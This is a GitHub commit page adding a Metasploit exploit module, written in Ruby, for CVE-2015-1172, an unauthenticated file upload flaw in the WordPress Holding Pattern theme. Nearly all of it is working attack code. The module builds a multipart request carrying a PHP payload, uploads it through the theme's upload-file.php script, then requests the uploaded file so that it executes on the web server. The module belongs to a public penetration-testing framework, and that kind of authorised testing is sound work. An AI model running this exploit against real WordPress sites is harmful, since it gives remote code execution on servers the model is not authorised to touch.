Skip to content

Commit 7d42dce

Browse files
committed
Land rapid7#4769, Wordpress holding-pattern theme file upload
2 parents 9223c23 + 40c92f5 commit 7d42dce

File tree

1 file changed

+86
-0
lines changed

1 file changed

+86
-0
lines changed
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'socket'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::FileDropper
13+
include Msf::HTTP::Wordpress
14+
15+
def initialize(info = {})
16+
super(update_info(
17+
info,
18+
'Name' => 'WordPress Holding Pattern Theme Arbitrary File Upload',
19+
'Description' => %q{
20+
This module exploits a file upload vulnerability in all versions of the
21+
Holding Pattern theme found in the upload_file.php script which contains
22+
no session or file validation. It allows unauthenticated users to upload
23+
files of any type and subsequently execute PHP scripts in the context of
24+
the web server.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Alexander Borg', # Vulnerability disclosure
30+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
['CVE', '2015-1172'],
35+
['WPVDB', '7784'],
36+
['URL', 'http://packetstormsecurity.com/files/130282/WordPress-Holding-Pattern-0.6-Shell-Upload.html']
37+
],
38+
'DisclosureDate' => 'Feb 11 2015',
39+
'Platform' => 'php',
40+
'Arch' => ARCH_PHP,
41+
'Targets' => [['holding_pattern', {}]],
42+
'DefaultTarget' => 0
43+
))
44+
end
45+
46+
def rhost
47+
datastore['RHOST']
48+
end
49+
50+
def holding_pattern_uploads_url
51+
normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
52+
end
53+
54+
def holding_pattern_uploader_url
55+
normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
56+
end
57+
58+
def generate_mime_message(payload, payload_name)
59+
data = Rex::MIME::Message.new
60+
target_ip = IPSocket.getaddress(rhost)
61+
field_name = Rex::Text.md5(target_ip)
62+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
63+
data
64+
end
65+
66+
def exploit
67+
print_status("#{peer} - Preparing payload...")
68+
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
69+
data = generate_mime_message(payload, payload_name)
70+
71+
print_status("#{peer} - Uploading payload...")
72+
res = send_request_cgi(
73+
'method' => 'POST',
74+
'uri' => holding_pattern_uploader_url,
75+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
76+
'data' => data.to_s
77+
)
78+
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
79+
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
80+
payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)
81+
82+
print_status("#{peer} - Executing the payload at #{payload_url}")
83+
register_files_for_cleanup(payload_name)
84+
send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
85+
end
86+
end

0 commit comments

Comments
 (0)